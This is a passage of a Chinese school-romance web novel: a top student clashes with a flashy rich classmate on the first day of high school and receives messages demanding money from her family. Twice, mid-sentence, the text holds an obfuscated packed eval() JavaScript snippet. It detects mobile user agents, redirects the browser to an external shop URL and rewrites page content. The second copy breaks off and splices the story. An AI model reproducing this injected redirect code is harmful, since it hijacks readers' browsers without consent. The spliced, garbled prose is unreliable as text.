“泠泠我跟你说件事你不要生气,我好像不小心把你的身份证弄掉了呜呜,不过你放心我一下课就去广播室失物招领,你别生气别生气(拜托拜托)” 舒音一只眼睛放哨在看陈清,另一只眼睛又一直观察着林泠的表情。 看着她的脸冷得能滴出水来,舒音也顾不上听陈清的话了,双手合十对着林泠开始拜,整张脸鼓成生气的河豚样,可林泠始终没看她一眼。 林泠盯着桌子,放在大腿上的手紧紧地抓着校服裤子,手心已经出了好几股冷汗,嘴唇控制不住地颤抖。 丢了的话就要重新补办,重新补办又要回那个家找他们。 怎么办…… “1号。” “1号!” “1号林泠同学来了吗?” 陈清对着花名册上的1号喊了三遍,台下的同学也在窃窃私语。 “谁啊,陈老师都喊了三遍了。” “没来吗?不是只有一个座位是空着的吗?空着的那个也不叫林泠啊。” “林泠不是那个中考状元吗?” 陈清中午才和林泠见过,第一眼就觉得她会是个很省心的学生,她把目光投向空座位左边的位置,朝着她走过去。 众人的视线纷纷跟着陈清走的方向看过去。 陈清两根手指敲了下桌子,林泠如梦初醒,看到陈清站在她面前立刻起身,“不好意思老师。” 起来的动静太大,椅子被撞了一下,在空旷的教室里发出不小的一声。 舒音捂住脸,对林泠深表歉意。 林泠的表现和她中午看到的样子完全不一样,脸有些红,额头上还出了不少汗。 陈清的语气放缓,关切地问:“怎么了,是哪里不舒服吗?” 舒音想站起来替她解释,林泠抢先回答:“老师我没事。” 陈清本想继续问,但见林泠恢复了神色,只能继续往下走流程,“行,那就从你先做个自我介绍吧。” 林泠走上讲台,拿着粉笔正准备开口说话,门外传来一片嬉笑声。 “报告!不好意思啊老师,我忘记定闹钟,也没听到上课铃声,就迟到了。” 4. 自我介绍 明明不是因为正经理由迟到,这人还能说得如此光明正大,一点都不遮掩。 林泠仔细地扫了几眼门外的人,高个子,白皮肤,金发,上衣的短袖故意翻到肩膀上,校服裤子不好好穿非要扎起一小截,露出印着奢侈品logo的球鞋,鞋带开了也没发现,再加上脸上那上扬的嘴角就没下来过,整个人浑身上下都散发着一股浓浓的傻气。 林泠没把这人和她想象中的晏阳联系在一起,暗自给这人下了一个定义:人傻钱多的富二代。 陈清看到他就头疼,挥了挥手让他回座位。 林泠在看晏阳的时候,晏阳也在看她,从她的眼神里,晏阳竟然看到了同情、可怜等充满怜悯意味的情绪,插兜的手摸到了那张身份证,脑子里突然冒出一个鬼点子。 他低下头,再抬起时瞬间变了个表情,装出一副“踏破铁鞋无觅处,得来全不费功夫”的样子,一个大跨步上前走到林泠面前,“我终于找到你了!” 林泠:“?” 站在边上的陈清:“?” 全班同学:“?” “什么情况,有瓜?”前排同学在吃瓜第一线。 晏阳把兜里的身份证掏出来,神情悲切,欲言又止,连全班同学的情绪都被调了起来,全体目光看向两人,“是你吧,林——诶等下。” 全班同学像是在坐过山车,随着他的这一声等下被硬生生停在最高处,一动也不动,晏阳看了眼身份证,接着情绪衔接自然,嘴巴张大。 如果现在有背景音乐的话,一定是一阵强烈的鼓点。 “林——冷同学!” 随着最后一个字音落下,台上的林泠和陈清包括底下的众人都像是被泼了一盆冷水。 啊? 过山车被停在最高处,没有前进也没有后退,轨道被拉成一条平缓的直线,车速调成了龟速,坐在里面的人慢慢地往前滑。 刚才还庆幸自己在吃瓜第一线的人表情扭曲的不行,和那个头上狂冒问号的黑人表情包一模一样。 林泠从小到大也不是没被人叫错过名字,但都是无意识地叫错,并非他们的本意,而现在这个人,语气夸张,神情嚣张,明显就是在捉弄她,还搞了个这么大的阵仗。 林泠气极反笑,长年不笑的脸在这一刻显得尤为好看,狐系眼形笑起来下面的卧蚕就出现了,眉间的红痣随着笑的幅度动了一下。 晏阳一下子愣住了。 笑完后,林泠拿着粉笔在黑板上一笔一画地写下自己的名字,“大家好,我叫林泠,泠取自庄子的《逍遥游》:夫列子御风而行,泠然善也,旬有五日而后反。” 说着林泠走下台,两只手指夹住自己的身份证,轻轻一使力便拿了回来,对着呆滞的晏阳假笑,好言劝道:“同学,还是要多读书啊,不然总是认错字怎么办。“下台时又提醒了一句:“对了你的鞋带开了,不系的话等会儿可能会摔跤。” 说完眉毛一挑,也不再看他脸上的表情,只留给他一个背影。 晏阳被她的笑晃到了眼,一时间没反应过来,他前面的男生戳了他一下,“晏哥。” 等他回过神来时,林泠已经坐到了位置上,晏阳头一次在一个人身上感受到了挑战性,眼神里闪烁着兴奋的光,他嘴角一扯,“老师,我来自我介绍吧。” 也不管陈清同没同意就站上了讲台。 正准备起身的2号选手颇有眼力见,见状立马坐下,把舞台让给这位太子爷。 晏阳的字和他的人一样放荡不羁,笔画能省则省,黑板上目前只有两个名字,可他偏偏要和林泠挤在一起,最后一笔收尾的时候不知是有意还是无意,直接划到了林泠的名字上,和她的勾在一起。 “大家好呀,我叫晏阳,其实我不用自我介绍吧,我看班上挺多老朋友的,但为了让新同学也能认识我,我还是自我介绍一下吧。” 晏阳的琥珀色的眼珠转动了一圈,最后定格在他座位的旁边。 还真巧,就坐在我旁边。 脸上的笑意更深了,眼睛哪里都不看就盯着林泠,好像是专门在为她做自我介绍。 “我的兴趣爱好挺多的,有篮球足球乒乓球,网球棒球羽毛球等等球类运动,还有很多我就不一一念了,除了运动以外,我还喜欢唱歌,跳舞,种类呢也很多,不夸大地说,只要包含在里面的,我多少都涉猎了一点,本人阳光开朗,热爱交际,希望大家多多的和我交朋友,好吗!” 最后一句话不像是疑问,更像是邀请。 说完后台下立刻有人带头鼓掌,“好!说得好!”其他人也被这热情点燃跟着欢呼。 这场面不像是新生做自我介绍,更像是一场粉丝见面会。 陈清捂着脸,思考接下来的三年该怎么过。 “好嚣张啊,什么来头啊。“舒音边拍手边跟林泠吐槽。 林泠把身份证放到书包的最里层锁好,看着讲台上那个咧着嘴笑笑成傻子的人,始终不愿意把这个名字和晏家联系在一起。 “晏哥好棒啊!” “帅啊!以后能教我唱歌吗?” 众人吹捧不断,晏阳不管虚情还是假意全然接受,“好的好的,一定一定。” 场面愈发热闹,陈清怕最后闹到不好收场,站回讲台让晏阳下去。 晏阳有些意犹未尽,陈清把粉笔递给他,仰了下下巴,“舍不得讲台?那你来讲课。” 晏阳十八般武艺样样精通,唯独学习这一条道,就算装饰着亮堂堂的让他走,他也能跟个瞎子似的找不到东南西北,更别说让他讲课了,头和手在比赛谁摇得更快,“不不不,老师您讲。”浑身上下都写满了拒绝。 晏阳刚刚感受了一回大明星的氛围,下讲台时还在挥手,刚刚林泠跟他说的话,全都被他抛诸脑后。 林泠提醒的时候,鞋带还没完全散开,那时候走路也不会踩到,但经过了刚刚的一系列活动,松散的鞋带直接得到了释放。 晏阳只顾着跟他的“粉丝”挥手,没注意看脚下,左脚踩下台去,右脚正好踩到了散开的鞋带,再迈步时,刚才欢呼的声音倏然变了个调。 “晏哥!” “晏阳!” _ 倒下去的那一瞬间,时间仿佛都被按下了暂停键,晏阳想:如果早知道今天会发生这样的事,他绝对不会穿这双鞋子出门。 但世上没有后悔药,在众人惊讶的眼神中,晏阳脑子迅速转动,智商堪比爱因斯坦。 他在空中迅速调整摔下去的方向,身体一侧,从脸着地的狗吃屎姿势变成了帅气十足的侧躺,两条长腿交叠在一起,手还撑着头,对着旁边的同学眨了眨眼睛,像条刚上岸的美人鱼。 感谢太爷爷,感谢爷爷,感谢爸爸,感谢我全家。 感谢你们把教室设计得这么大,不然这一摔肯定会撞到桌子,这么帅的脸可不能破相啊。 后座的同学不知道发生了什么事,一个两个的纷纷探出头来看。 “好帅!晏哥好帅!” “晏哥帅气!” 底下有几个和晏阳玩得好的,见他没事大胆地把手掌合成喇叭状,给他加油鼓气。 陈清从一开始的担忧到现在满脸黑线,被刚才惊心动魄的场面冲昏了头,忘记了来的时候给自己的忠告,忍不住用腿踢了地上的人两脚。 “没事就快点起来回座位。” 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即使被众人围堵,晏阳也能在其他人的缝隙中递给林泠一个眼神。 林泠微眯了下眼睛,刚好捕捉到了他眼中的挑衅。 “晏哥晏哥,你怎么会来怀瑾班啊。” “对啊对啊,我们都以为你会去体育班呢。” “诶诶诶,听说你们这次代表咱们学校的篮球队去参加市里的比赛了,结果怎么样啊!” 围上来的人男男女女的都有,叽叽喳喳地提问。怀瑾班的性别比例还算正常,男生16人女生14人。 晏阳挑了几个能记住的问题简要回了两句。 “比赛嘛,也就拿了个一等奖吧。” “哇!”这句话一出果然又引起了众人的一阵感慨,晏阳很喜欢这种所有人都围着他转的氛围。 “晏哥——” 晏阳正享受着众星捧月的感觉,门外突然飞出一个身影,速度快到他根本没来得及反应,等晏阳准备做出防御动作的时候,已经整个人都被扑倒了。 桌子哐啷一声被撞倒在地,连着晏阳都被唐越压在身下。 “哎呀妈呀!” 刚刚还围着的人被唐越这一动作直接吓得四散。 “唐越你有病啊!” 唐越也不知道吃了什么这么沉,压得晏阳半天都推不开。 晏阳桌子里原本放了一本书,随着桌子一翻也被掉了出来,正好掉到林泠脚下。 书已经被打开了,里面掉出一页有些泛黄的纸,因着用铅笔写的,加上时间有些久,密密麻麻有些看不清,但能隐隐约约似乎是一道数学题的解题过程。 而且是一道她很熟悉的数学题,甚至可以说是她的原创。 林泠疑惑甚至有些兴奋,连放在桌上的手指也忍不住收紧。 如果是真的,难不成…… 她想捡起来看,验证自己的猜想,晏阳看到她的动作竟不知从哪爆发出一股力量,一脚把唐越踹开, “哎哟!”唐越捂着被晏阳踹到的地方,痛苦地惊呼,“痛痛痛!” 晏阳仗着手比林泠长,用力一把扫过,比她更快拿到那张纸。 林泠的指尖擦过晏阳带着点温热的手背,她把手收回,看着晏阳把那张纸又放回书里。 他的反应,很不对劲,绝对有问题。 林泠直起身眼神一凛,语气带着压迫。 “这上面写的是什么?” “哪里来的?” “还有,你是谁?” 5. 抢风头 “什么,什么东西的?” 虽然下面有晏阳点肉垫,但唐越也摔了个呛,被推开后没有烦躁,一眼就瞟到了晏阳手里拿着的书,泛黄的纸张漏了个角出来,像个小尾巴。 开学第一天,虽说是新班级但也不乏有人早就认识,但林泠刚才的气场太过强大,他们只好偷偷后退了几步窃窃私语起来。 晏阳内心一阵鼓声,撒谎是习惯性地眨了两下眼睛,但面上还是佯装淡定,本想继续用他那吊儿郎当的语气回答。 唐越插嘴了。 “你还留着这本书呢?诶,经常那张纸不是我送给你的书签吗?” 唐越心中一阵喜悦,要知道晏大少家里有一个很大的储物柜,专门用来放别人送的礼物,一般拆都不拆就被丢了进去,想不到自己几年前送的东西竟然能被晏大少这么珍惜,简直来不之不易啊! 晏阳揉了揉刚刚摔到的地方,没去看林泠的眼睛,借势说:“对啊,好兄弟在心中。” 说完手握成拳在胸口处敲了两下,唐越顿时感动得眼泪哗哗,“你,我……我。” 唐越我半天都我不出来,一下子就把刚才还被面前的所谓好兄弟踹了一脚的事情给忘了,最后只能重复着说:“好兄弟……” 林泠看着面前兄弟情深得恨不得要让全班同学为他们感天动地的情谊做见证人当场结拜的这两人,纵使有满腹疑问也吞回肚中。 算了。 肯定不是。 他肯定不是这样的人。 这个小插曲很快就被揭了过去,晏阳不动声色地把书放进书包里锁好,然后“友好”地把不知道是感动的泪流满面,还是真被摔疼了的唐越遣送回他原来的班级,课桌旁又恢复了之前的热闹。 回到之前的话题,他想起来好像还有个挺重要的问题没有回答。 “至于为什么没去体育班。“晏阳皱眉假装思考,脱口说了一句对自己毫无定位的话,“我觉得应该是我的成绩太优秀了,才让我进的。” “……” 围上来的人听完后同时噤声,连要喝水的人都停止了动作。 沉默,是今晚的康桥。 不觉得自己有说错的晏阳:“?” 舒音等一些不了解晏阳学习情况的人看看晏阳,又看看沉默的人,也是茫然。 良久还是莫杰率先打破了尴尬,对着他挤眉,眼神里带着探究,吞吞吐吐地问,“晏哥……你……确定是因为……成绩?” 莫杰说得很委婉了,但晏阳丝毫没有读懂他的潜台词,反而继续夸夸其谈,“那当然啦,我的成绩嘛,相比其他方面来说,确实差了那么一点,但也就是一点。” “切——” 不知是谁先喊的,后面越来越多的人也跟着喊,教室里顿时切声一片,最了解他的莫杰捂着肚子不停地笑,连眼泪都笑了出来,毫不顾忌地戳穿了他。 “哈哈哈哈哈哈哈,你别逗我们笑啊晏哥,就你那门门不及格的成绩,哈哈哈哈哈哈哈!” “什么情况啊泠泠?”舒音在旁边全程吃瓜但还是不明所以,小心翼翼地问。 她前排的男生是个戴着眼镜的小圆脸,听到她的问题,转过身去好心跟她解释:“就是晏哥,他的成绩算是在学校垫底的,但是体育好,所以被特招了。” 男生不敢乱说,省略了其他原因,挑了一个看起来比较合适的理由。 “嗷嗷。” 舒音似懂非懂地点头,“那他还挺厉害的,我听说能进一中的艺术生都不一般,他作为一个体育生还能进我们班,肯定有什么过人之处!” 小圆脸男生憋住笑,嗯了一声没反驳她的话。 舒音是个自来熟,有人主动跟她说话就兴奋,拉着他就开始寒暄:“同学你叫什么名字呀,我叫舒音。”接着又指向林泠,“她是我最好的朋友,叫林泠,成绩很好,别看她冷冷的,其实很好相处哦。” 小圆脸男生看起来有些腼腆,推了下眼睛,“我叫李厅南。” “李厅南?”舒音一时想不到是哪两个字,只觉得这个名字很有趣,有些好奇是怎么取的,“你这个名字好别致啊,有什么说法吗?” 李厅南挠挠头,不好意思地看了眼好奇宝宝样的舒音,迅速低下头,“我……我爸爸取的,他说我妈妈孕晚期的时候在客厅看着看着电视突然肚子痛,刚送到医院没多久就生下可我,因为是在客厅破的羊水,客厅朝南,所以叫厅南。” “哦~”舒音恍然大悟,但想到不久前全班都做过一遍自我介绍,但自己却完全没认真听,“不好意思哈,刚刚自我介绍的时候,我有些走神了。“ “没事没事,以后都是同学了。”李厅南似乎特别容易害羞,说两句就脸红了,和舒音说话的时候一直低着头。 “厅南。”林泠默念了一遍这个名字,“古人建房时会选择朝南的方向,它们采光好,也通透,人住进去不会感到压抑,所以南字又有光明、温暖、顺遂的意思,而客厅一般很大,可以代表开阔、稳重,你爸爸取这个名字应该不只你说的这个意思,他是希望你的心无论在什么时候,都能向着光明,前途明亮,平安顺遂。” 听着李厅南的解释,林泠觉得应该不只他说的那么简单,想了一下把自己的理解说出来,语言流畅声音平缓。 正值夏季,大家都穿的短袖,她说话时手指在课桌上敲击了几下,串着铜钱的红绳在她的手腕上竟给她增添了几分神算子的气质来。 听着她的解释,李厅南脸上的红意更明显了,直接蔓延到了耳后,眼神有些有些不可思议:“是这样吗?” 林泠:“嗯,应该是。” 刚学写字的时候写的都是自己的名字,身边的朋友会骄傲地跟伙伴解释自己名字的来源,然而每次问到他时,他都不好意思说,久而久之也就没有多少人愿意跟他玩。直到今天他才醒悟,原来自己的名字有这么深的含义,原来爸爸也对他寄予了厚望。 李厅南激动地看着林泠,眼中的感激之情几乎快要溢出来。 “太厉害了!”莫杰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481576|201773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住鼓掌,眼里全是敬佩,“想不到一个看起来平平无奇的名字还能有这种解释。” 林泠解读时没注意到刚刚还围着晏阳的人,现在都看着他,没有一个人打扰,全都静静地听着她说话。 “对啊对啊,太厉害了!” “可以帮我算算吗?” 眼见刚才还在自己这里的人,现在全都倒戈到了林泠这边,还让她解读名字,晏阳莫名不爽。 “喂,你那边的啊?” 晏阳见自己的风头被抢了,连死忠粉都被人撬了,心里有些烦躁。 “晏哥你等会儿啊。” 莫杰的心现在已经飞到了林泠那里,没空管晏阳的情绪,丢下一句话就闪走了。 晏阳从小到大不管到哪里都是众星捧月的,就从没遇见过这种情况。 同一排座位,旁边门庭若市,自己门可罗雀。 晏阳低骂一声:“靠。” 同学们实在是太热情了,林泠不擅长应对这种情况,舒音感觉到了她的为难,上前替她打圆场,“不好意思我们泠泠比较害羞,而且她也不会算名,就是随便说了下,大家可以跟我玩,我可好玩啦!” 有几个女生被她的这番言论笑到了,还真去了她的座位,不知道在谈什么话题,一下子就热火朝天起来,后面又加入了几个男生。 剩下的人见林泠真的不会算,也各自散开找伙伴玩去了。 ”喂!你很得意吧?“晏阳扭头看向林泠,咬牙切齿。 林泠微冷的脸上难得出现了疑问,没有说话,只用看傻子似的眼神看他,意思是你问的什么脑残问题。 晏阳心里本就憋了一股气,见林泠现在理都不想理他样子更是气愤,说出那句小学生约架的经典台词,“等会放学别走!” 林泠压根没听她说话,从抽屉里拿出一本书翻开看。 “喂,我在跟你说话,你……” 晏阳眼神瞥到到门外有个熟悉的身影,声音戛然而止。 女生蹦蹦跳跳地走过来,手里还拿着一个粉色的卡片和一瓶橘子水。 晏阳冷哼一声,露出一个神秘的笑,突然开始整理衣着,把校服规规矩矩的穿好,挺直背脊,又拿出一张纸假装在上面写写画画,一副乖学生的模样,余光却时不时往外瞄。 他这一套行云流水的动作全都落在了林泠的眼中。 原来他也知道校服要好好穿。 那个蹦蹦跳跳的身影越来越近,走到门口,要敲门的时候又退出去看了一眼班牌,确定没有走错后才伸出两只手指在门上敲了两下,像小猫探头似的冒出来。 女生还没出声,晏阳先把长腿一收,自觉地站了起来,低头俯视林泠,语气十分欠揍,“看着吧,哥有的是人追。” 说完作势就要走过去。 林泠:“……???” 女生在教室里看了一圈,突然对着一个方向眼睛一亮,说话的声音和她的外貌一样甜美。 “你好,我找一下林泠同学。” 6. 冲突 晏阳的脚刚迈出一步,徐若薇的话就传了过来,犹如一道闪电直直劈在了他身上,另一只脚跟被灌满了铅似的,怎么也跨不出去,大脑一片空白,不停地回响着徐若薇的那句话。 “我找一下林泠同学……” ”林泠同学……” “林……” 哄闹的教室里霎时间安静了几秒,发出细细碎碎的讨论声。 “是徐若薇诶,校花怎么来我们班了?” “什么校花?” 刚刚被封为百晓生的人小声解释:“就是入学的时候每个人不是要上交一张自己的照片办理校园卡吗,有人把徐若薇的照片上传到了表白墙上,被所有人一致评为校花。” “真的假的,我看着没有传得那么神啊。“有男生怀疑。 旁边的女生踢了他一脚,“你们这些破男生有什么审美,不过也是,如果你们去玩换装游戏的话,说不定可以拿意想不到的高分。” “嘿!你!”被怼的男生无话可说,只好悄悄溜到一边去表白墙翻帖子。 徐若薇上半身穿着一中的夏季短袖,和早上的校裤不同,她下半身换成了同色系的格裙,正好露出一双白皙细长的腿,及腰带着微卷的棕色长发披在后面,未施粉黛的脸上有些许薄红,左手拿着粉色卡片,右手拿着橘子汽水,踮着脚往林泠这边看。 林泠是有些脸盲的,但门口的人实在过分漂亮,让她不得不记住,起身往门口走去。 徐若薇见她出来赶紧退到一边,走廊上人太多了,加上徐若薇又太惹眼,班上的学生看似在聊天,实则眼神时不时地瞟向这里。 怀瑾班旁边刚好有个小的自习室,林泠把她带到里面。 一进去徐若薇把手里的卡片和饮料递给林泠。 林泠的身高比这个年纪的高中生高一点,徐若薇本身也不矮,但和林泠站在一起还是矮了半个头,她扑闪着睫毛,一脸期待地看着她。 “这是什么?”林泠没有动,反问道。 粉色卡片,饮料,好熟悉的感觉。 再加上刚才那傻子的话,应该不会是她想的那种。 “啊?”徐若薇好看的眉毛皱了起来,有些委屈,“林泠同学,你不记得我了吗?早上的时候我快摔下楼梯,还是你救的我呢。” 林泠当然不会忘记,“没有,我的意思是你这是什么意思。” 徐若薇伸出的手没有收回,“这个是我给你写的感谢信,汽水是我刚买的,我怕你打不开特意拧了一下,不过里面的汽还在!不影响口感的。” 听完解释林泠在心里松了口气,只要不是之前那种事情就行,脸上的表情变了一下,只接过她手里的粉色卡片,“感谢信我收下了,饮料你自己拿回去喝吧,当时的情况我也是出于本能,没有想太多。” 汽水瓶的外面已经起了水珠,滴在徐若薇的虎口处,“你是不喜欢汽水还是不喜欢橘子口味的汽水,我也不知道要买什么,只是看到这款卖的最好,才买的。” 听到林泠不收,徐若薇有些着急,“如果你不喜欢的话,你告诉我喜欢什么,下次我再买其他的!” 林泠低头看着还举着汽水的女生,说话时嘴巴一张一张的,眼睛好像也跟着在说话,她把汽水推回去,“不是,我不喜欢喝饮料。“抬起手看了眼手表,“上课时间快到了,回去吧。” 徐若薇想再说些什么,铃声刚好响了,只能不情不愿地离开,彭蕊正守在拐角处,看她出来马上贴上去,“怎么样,她收了吗?” 徐若薇摇头,“没有,只收了我写的感谢信。” 彭蕊拿过她手里的汽水喝了一口,“收了信就是有机会,没事的,高中三年还有机会的。” 怀瑾班的后门没有关,徐若薇透过去看向林泠的位置,“但愿吧,我怕她不喜欢……” “哪有一开始的喜欢,熟了不就喜欢了!” 林泠待过的地方还残留着一股淡淡的香味,徐若薇深吸一口,仿佛要把这股香味全部吸进去,“走吧,回教室。” 林泠一回班就受到了所有人的关注,有人想上去问,但迫于晏阳的低气压,又讪讪退回去。 回到座位上,林泠打开那张粉色的卡片,上面的字迹娟秀,还用了两种不同颜色的笔写,可能是怕文字传达不了写作者的意思,又在旁边画了几个卡通小人。 “林泠同学,谢谢你今天救了我呀,当时本来是想问你名字的,但你走的太快了,后来我才发现你是我们这届的新生代表,真是太厉害了,你的讲话我全程都有录像哦(小声说),最后呢祝你天天开心,身体健康,万事胜意,不祝你学业进步是因为我发现你就是我们这次的中考状元啦!嘻嘻。“ 看完后林泠浅笑了一下,把卡片折好放在和身份证的同一个夹层里。 果然是个可爱的小女生。 林泠笑是被卡片上的话和卡通小人可爱到了,落在晏阳眼里,这就是赤裸裸地宣战。 晏阳摸搓着牙齿,故意哑着嗓子,一字一顿地说:“等会放学后,别跑,隔壁自习室,有事找你。” 林泠懒得理他,心里担忧:都说富不过三代,晏家不会要败在这傻子手里吧。 最后两节课,晏阳还是那副吊儿郎当的模样,陈清在上面讲军训安排,他在下面拿着笔时不时地就写点东西。 陈清看见晏阳的动作,感动得快要掉眼泪,“同学们,老师先打断一下说点别的事情,刚刚老师说话的时候,有位同学一直在认真的记笔记,老师真的非常的感动。” 闻言,晏阳抬头正好和陈清的眼睛对上,心脏噗通的跳了一下,突然有种不好的预感。 果不其然,陈清走下讲台,一步一步向他走近,趁他不注意,抬手把他刚才写写画画的纸扯了起来,举高给全班展示,“大家看,这才是热爱学习的表现。” “噗哈哈哈哈哈!” 班里哄堂大笑。 晏阳单手捂住脸不敢看陈清,给自己现在的处境判了个死刑。 “完了。” 陈清看着学生的表情终于发现端倪,把纸收回来看。 这上面哪是什么笔记,完全就是一个抽象的火柴人,而且画技烂到实在没法看,要不是头发被画长了,甚至都看不出这是一个女生。 陈清的脸一会是红色,一会又变成绿色,跟马路上的红绿灯似的,精彩极了。 见势不对的学生不敢再笑,嘴唇收进去拼命憋笑。 “陈老师,你们班的军训服到了,派几个同学去拿一下。” 门外来了两个学生会的干部,正好打破了这僵持的局面。 晏阳深知闯祸,迫不及待的就要戴罪立功,“老师我去!” 见晏阳开团,莫杰秒跟,“老师我也去!” 紧接着又有几个男生举手,“老师我去!” “老师还有我!” 陈清平息了一下情绪,脸变回正常的颜色,“去五个就行。” 军训服很快就被搬了上来,晏阳进门的时候对着陈清笑了一下,“嘻嘻。” 陈清睨了他一眼,“进去吧。” “同学们,军训服的尺码是根据你们开学时自己填的拿的,今天晚上回去之后试一下,如果穿不了就赶紧在手机上报备。” 莫杰提醒:“老师,我们还没有建班群呢。” “对啊。” 陈清拍了下桌子,“那现在就建一个吧,微信和QQ都选择面对面建群,数字是……“陈清想了一下,竟然有些卡壳。 “6688吧,祝大家都六六和发发。” 舒音的这个提议很快被采纳,班级群很快就组建好了。 群聊名字也起得很官方:高一怀瑾班,群聊上面的人数显示30。 陈清:“还有谁没进?” 林泠的手机是被淘汰了很久的老手机,反应特别慢,常常点击后要过好几秒才能显示,“老师我手机反应有点慢。” 陈清:“没事,加进去就行,后面的时间大家有序的拿军训服。” “陈老师,去开会了。”路过的老师敲了下门。 陈清拿上东西,看了眼墙上的时钟,“离放学还有一会儿,拿完后等打铃了再走啊。” “好。” 舒音把自己的手机递过去,“泠泠,你用我的手机登,先进群,我把你拿军训服。” 林泠嗯了一声接过手机登录。 “给我拿一件M码的,还有一件L的!” “等下!” 舒音的手机是最新款,一下子就进去了,退出QQ后又等了微信,刚一登上就弹出了好几条消息。 最上面的头像是一个满脸胡子拉碴,咧着一口大黄牙正对着镜头吞云吐雾的男人自拍,接着下面一张则是染着五颜六色的头发,耳上还打着几个耳钉的不良少年,和上面的那个男人有几分相似。 「到学校了吧,钱什么时候打过来?」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“肯定的呀,他人傻钱多,每次咱们多夸他几句,就屁颠屁颠的争着出风头请客。” 林海拿出手机解锁,点进那个名为提款机的聊天框。 周浩看着发过来的红包,在旁边起哄:“来来来,猜猜这次会发多少?” “微信红包上限是200,我猜肯定是200!” “我也猜200,我海哥什么家庭地位?” “快点开吧海哥。” 旁边的三个人都在催促他点开,林海假装为难,表现出是你们要我开的样子。 红包上的金币转了几圈,几人的心也跟着转。 可能是因为网络不好,金币转了好几圈,红包却迟迟不打开,林海不耐烦的切了个数据,骂了一声:“什么破苹果!” 几秒后,终于打开了。 三人看着红包上显示的数字目瞪口呆,随后发出一大声嘲笑。 “哈哈哈哈哈哈哈!” “搞了半天,就0.44啊,四毛四,笑死我了!” 周浩没有跟着嘲笑,幸灾乐祸地坐着欣赏林海被气得铁青的脸。 林海不敢相信,愤怒地点出下面的输入框,飞快地打了一串句子。 「林泠你他妈什么意思?!你敢耍老子?!!」 消息发送失败,绿色的聊天框前有一个红色的感叹号,下面有一串系统的小字:消息已发出,但被对方拒收了。 林海握着手机的手不断捏紧,猛踢了一脚椅子,气冲冲地离开了。 做完一切后林泠才觉得刚才恶心地感觉被压下去了一些,准备把手机给舒音放回去,背上突然被什么东西撞了一下。 “喂!加个好友。”晏阳把自己的微信二维码放到林泠桌上,手指轻点了一下屏幕。 林泠的手机放回桌子里,没看他打开的二维码,眼皮掀了一下准备去拿军训服。 “喂!” 晏阳叫住她,其他人都在试军训服,没人注意到他们这边剑拔弩张的情况。 林泠的身体站直回头,终于用正眼看他,两人身高差不多,双目对视间似有火光闪烁。 晏阳身高体壮,在气势这边占了点优势。 林泠虽身体消瘦,但挺直的背丝毫不输晏阳。 对视间,晏阳甚至有些败下阵来,林泠不笑时的眼神如两支被覆着冰霜的箭,连说话的声音也带着寒气。 “我,有名字,不叫喂。” 7. 大消息 “晏哥,干嘛呢!” 唐越拿着筷子敲了下晏阳的餐盘,和盛泽对视一眼然后一起疑惑地看着他。 筷子敲击餐盘的声音把晏阳的思绪倏然拉了回来,他眼神动了一下看了眼四周,食堂热闹非凡,刚开学很多学生都处于兴奋的状态,嘴里含着饭也在说话。 晏阳恍惚了一下,原来林泠跟他说完最后一句话已经过了那么久了。 现在回想起她说话的样子,晏阳仍是有些胆颤。 该死,竟然被她吓到了!连自己放的狠话都忘记了! “对唔。“唐越夹起一块排骨往里塞,说的话含含糊糊的,“雷唔弯嘞个种考唔唔肿么样啊?” “什么?”晏阳没听清唐越说的话,看着他塞满肉的嘴巴,嫌弃地给他开了瓶水,“咽下去再说,嘴巴里塞这么多东西还说话,也不怕噎死。” 唐越的嘴巴快速嚼了好几下,把开好的水吨吨吨地牛饮了好几口,脸上突然露出痛苦的神色,随即用力地咳了好几下,还是止不住。 “不会吧,真的噎到了?” 盛泽赶忙刷刷刷扯了好几张纸巾,唐越接过纸巾把咳出来的鼻涕眼泪擦干净,嗓子已经有些哑了,用幽怨满满的眼神看着晏阳,“咳咳,晏哥,你为什么要咒我啊。” “是你自己跟饿死鬼投胎似的。”晏阳毫不留情地回怼。 唐越委屈巴巴:“那还不是因为比赛的时候伙食太差,到学校了才能吃点好的。” 晏阳不想听他的抱怨,“你刚刚说的后面那句话是什么?” “哦哦,“唐越放下纸巾,看了眼周围吃饭的学生,确定没有人注意到他们这边才把脸凑过去,用只有他们三个人才能听到的声音说:“我说,你跟你们班那个状元相处得怎么样,我可是听说了一个大消息,有关于她的。” 晏阳不想说自己刚刚发生的糗事,避重就轻道:“也就那样。”听到后半句琥珀色的眸子动了一下,“她有什么消息?” 盛泽也来了兴趣跟着凑上去,“什么大消息?” 唐越神秘地摆摆手,示意他们把头凑过来,两人都没有动,盛泽听力好,觉得不需要,而晏阳是觉得这种这位太傻了,他晏家大少爷说个事为什么要偷偷摸摸的,搞得这么见不得人。 唐越:“?不是,你俩啥意思啊,不想听啊?” 晏阳快吃完了,餐盘里只剩下一些他不喜欢吃青菜,无聊地扒拉了两下,没有正面回答他,但答案已经很明显了。 盛泽擅长察言观色,推了推鼻梁上的眼睛,“这里人太多了回宿舍再说。” 唐越:“哦哦。” 虞城一中的宿舍有单间,和双人间,晏阳的身份学校都知道,特意给他留的单间,里面的设施和其他的单间一致,只是空间更广阔。 唐越和盛泽一间,他们的宿舍在3楼,晏阳的宿舍在2楼,考虑到这位大少爷的懒惰程度,他们决定牺牲自己,去晏阳的宿舍说事。 一进寝室,唐越就跟回了自己家似的,自己搬了把椅子翘起二郎腿,“好了,现在我开始说了。” 晏阳坐在另一边玩手机,漫不经心道:“说吧。” 一中的公众号已经把上午开学典礼的视频发出来了,作为新生代表发言的林泠和别人不同,她的发言视频被单独发了出来,并且还置顶了。 